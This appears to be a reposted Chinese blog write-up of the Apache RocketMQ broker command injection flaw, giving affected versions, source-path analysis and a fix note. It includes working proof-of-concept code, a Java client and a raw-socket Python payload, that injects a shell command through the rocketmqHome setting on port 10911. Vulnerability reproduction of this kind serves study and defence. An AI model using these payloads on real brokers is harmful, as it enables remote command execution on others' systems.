Apache RocketMQ 命令注入

这篇具有很好参考价值的文章主要介绍了Apache RocketMQ 命令注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class poc1 {
    public static void main(String[] args) throws Exception {
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

漏洞分析

Apache RocketMQ 命令注入,安全,漏洞,Apache

Apache RocketMQ 命令注入,安全,漏洞,Apache

Apache RocketMQ 命令注入,安全,漏洞,Apache

Apache RocketMQ 命令注入,安全,漏洞,Apache

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能

Apache RocketMQ 命令注入,安全,漏洞,Apache

org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest

Apache RocketMQ 命令注入,安全,漏洞,Apache

org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

Apache RocketMQ 命令注入,安全,漏洞,Apache

org/apache/rocketmq/remoting/Configuration.java#update

Apache RocketMQ 命令注入,安全,漏洞,Apache

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

Apache RocketMQ 命令注入,安全,漏洞,Apache

org/apache/rocketmq/broker/BrokerController.java#start

Apache RocketMQ 命令注入,安全,漏洞,Apache

org/apache/rocketmq/broker/BrokerController.java#startBasicService

Apache RocketMQ 命令注入,安全,漏洞,Apache

image

org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

Apache RocketMQ 命令注入,安全,漏洞,Apache

image

根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块

Apache RocketMQ 命令注入,安全,漏洞,Apache文章来源地址https://www.toymoban.com/news/detail-644426.html

到了这里,关于Apache RocketMQ 命令注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

    RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的

    2024年02月14日
    浏览(42)
  • Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)

    ​ Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。 影响版本 Apache RocketMQ = 5.1.1 

    2024年02月15日
    浏览(45)
  • CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞

    Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。 Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使

    2024年02月12日
    浏览(37)
  • CVE-2020-9483 apache skywalking SQL注入漏洞

    漏洞概述 当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。 环境搭建 拉取vulhub 搭建镜像 访问8080端口 漏洞复现

    2024年02月07日
    浏览(47)
  • 浅谈OS命令注入漏洞(Shell注入漏洞)

            Curl是一种支持各种协议的传输工具, 经常在Linux系统中使用;         通过curl命令调用受害网站的的backdoor.sh脚本文件;这样就可以控制受害者主机, 访问我不该访问的服务, 获取我不该获取的数据,连接我不该连接的网络,篡改我不该篡改的权限。 public void

    2024年02月15日
    浏览(43)
  • 【Web漏洞探索】命令注入漏洞

    一、什么是命令注入漏洞 命令注入(又叫操作系统命令注入,也称为shell注入)是指在某种开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时,则有可能发生命令注入。攻击者可以使用命令注入来执行系统终端命令

    2024年02月02日
    浏览(36)
  • Cacti 前台命令注入漏洞

    漏 洞 名:Cacti 前台命令注入漏洞 漏洞编号:CVE-2022-46169 Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具. 在其 1.2.17-1.2.22 版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。 1.

    2024年02月04日
    浏览(32)
  • Jfinal CMS命令注入漏洞

    漏洞环境 jfinal_cms 5.0.1 中存在命令执行漏洞 JDK 版本要求: 基于 RMI=6u141、7u131、8u121 使用的 JDK 版本 基于 LDAP=6u211、7u201、8u191 使用的 JDK 版本。 jfinal_cms版本:5.0.1 fastjson版本:1.2.28 漏洞复用 测试中使用的JDK版本:JDK8u101 在 kali 上运行该工具,启动 rmi 和 ldap 服务 https://gith

    2024年02月09日
    浏览(48)
  • CVE-2020-15778 OpenSSH命令注入漏洞

    预备知识 漏洞描述 OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中gets

    2024年02月09日
    浏览(46)
  • 【网络安全】初探SQL注入漏洞

    要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。 登录需要输入账号密码,等待提交后进入系统; 注册需要输入名字,密码,手机号,照片,等待提交后进入系统; 首页需要利用PHP和数据库联动后的查询语句,

    2024年02月16日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包